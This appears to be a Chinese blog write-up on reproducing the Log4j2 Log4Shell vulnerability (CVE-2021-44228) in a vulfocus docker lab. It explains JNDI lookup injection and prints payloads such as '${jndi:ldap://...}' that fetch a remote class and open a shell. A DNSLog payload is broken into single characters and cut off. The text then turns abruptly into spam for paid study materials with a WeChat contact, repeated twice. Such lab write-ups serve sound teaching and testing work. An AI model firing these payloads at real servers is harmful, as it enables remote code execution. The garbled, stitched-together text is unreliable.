1. 预备知识
Apache是一个广泛使用的开源软件基金会,该基金会维护和开发了许多中间件组件,这些组件在构建和管理Web应用程序方面非常有用。以下是Apache中间件的一些常见组件及其功能的介绍:
- Apache HTTP Server:Apache HTTP Server是世界上最流行的Web服务器之一。它是一个可靠、灵活且高性能的服务器软件,可用于托管和提供Web内容。Apache HTTP Server支持各种功能,如虚拟主机配置、模块扩展和安全性配置,可满足不同类型的Web应用程序的需求。
- Apache Tomcat:Apache Tomcat是一个开源的Java Servlet容器,用于托管和运行Java Web应用程序。它实现了Java Servlet和JavaServer Pages(JSP)规范,并提供了一个可靠的、高性能的Web应用程序运行环境。Tomcat支持多线程处理、会话管理和安全性配置,是许多Java Web应用程序的首选容器。
- Apache Kafka:Apache Kafka是一个高性能的分布式消息队列系统。它被设计用于处理大规模的实时数据流,并具有持久性、可扩展性和容错性等特点。Kafka可用于构建高吞吐量的数据管道、实时流处理应用程序和事件驱动的架构。
- Apache ZooKeeper:Apache ZooKeeper是一个开源的分布式协调服务,用于管理和维护分布式应用程序的配置信息、命名服务和分布式锁等。ZooKeeper提供了高可用性、一致性和可靠性的服务,使分布式应用程序可以协调和同步各个节点之间的操作。
- Apache ActiveMQ:Apache ActiveMQ是一个功能强大的开源消息中间件,实现了Java Message Service(JMS)规范。它支持可靠的消息传递、发布/订阅模式和点对点通信,可用于构建可靠的异步通信系统和消息驱动的应用程序。
Apache中间件的优势在于其广泛的社区支持、稳定性和可扩展性。这些中间件组件提供了丰富的功能和灵活的配置选项,使开发者能够构建可靠、高性能和可扩展的Web应用程序。同时,Apache中间件的文档资源丰富,有大量的示例和教程可供参考,使开发者能够更加轻松地使用和部署这些中间件。
2. 漏洞复现
2.1 漏洞介绍
Apache 是当今世界上非常流行的跨平台Web服务端,有着良好的扩充性。而Log4j则是Apache的开源组件,用于日志管理,功能强大。Log4j来源于 Apache 软件基金会的日志服务项目,是一种Java日志框架,从最初Log4j1发展到现在的Log4j2,已经广泛应用于各行各业的业务开发。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
攻击利用Log4j 2中Java JNDI注入漏洞,向服务器发送攻击数据包,当服务器在将数据写入日志时,就会触发远程执行。此方法被国外研究员称为Log4Shell,该漏洞目前已经影响了Apache多项组件,如ApacheSolr、Apache Struts2、Apache Druid、Apache Flink等。根据 漏洞排查结果,已确认服务器容易受到 Log4Shell 攻击的公司包括 Apple、Amazon、Twitter、Cloudflare、Steam、国内互联网、游戏公司、电商等。据统计,共有6921个应用使用了Log4j2组件,其中存储:ES、虚拟化:VMware、游戏:我的世界、安全工具:Ghidra均明确受到该漏洞影响。
远程代码执行攻击指的是攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
漏洞名称 | Log4j2远程代码执行漏洞 |
---|---|
漏洞编号 | CVE-2021-44228 |
危害等级 | 高危 |
CVSS评分 | 10 |
漏洞厂商 | Apache |
受影响版本 | Apache Log4j 2.x <= 2.14.1目前已知如下组件存在漏洞Spring-Boot-strater-log4j2/Apache Struts2/Apache Solr/Apache Flink/Apache Druid/ElasticSearc/Flume/Dubbo/Redis/Logstash/Kafka/vmvare |
2.2 漏洞原理分析
2.2.1 Log4j介绍
log4j2是apache下的java应用常见的开源日志库,是一个Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
2.2.2 JNDI介绍
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
2.2.3 利用原理
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
画个简单点的漏洞利用示意图,如下:
- 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
- 假如日志中含有该语句${jndi:ldap:X.X.X.X:1099/shell},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:X.X.X.X:1099/shell
- 解析到ldap,就会去X.X.X.X:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
- 在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
- 攻击者就可以通过shell实现任意的命令执行,造成严重危害
2.3 漏洞复现
2.3.1 使用docker搭建复现环境
使用vulfocus提供的镜像容器对靶场进行搭建:
docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
浏览器访问http://192.168.71.128,部署成功
2.3.2 DNSLog验证
首先对网页进行抓包,看是否存在注入点,配置好端口后进行抓包。可以看到数据包内容如下:
注入位置在/hello目录下的一个payload位置,并且是get提交的数据,直接访问问号并抓包,就可以在改payload位置注入exp。
DNSLog在web漏洞中是常见的使用方法, 在某些无法直接利用漏洞获得回显的情况下, 但目标可以发起DNS请求, 这个时候就可以通过这种方式把想获得的数据外带出来。
将其发送到Repeater进行修改重放,通过DNSLog平台https://dig.pm获取到域名949cc308.ipv6.1433.eu.org.
构造payload:
j
n
d
i
:
l
d
a
p
:
/
/
949
c
c
i
p
v
6.1433.
e
u
.
o
r
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
😝朋友们如果有需要的话,可以联系领取~
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
2️⃣视频配套工具&国内外网安书籍、文档
① 工具
② 视频
③ 书籍
资源较为敏感,未展示全面,需要的最下面获取
② 简历模板
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算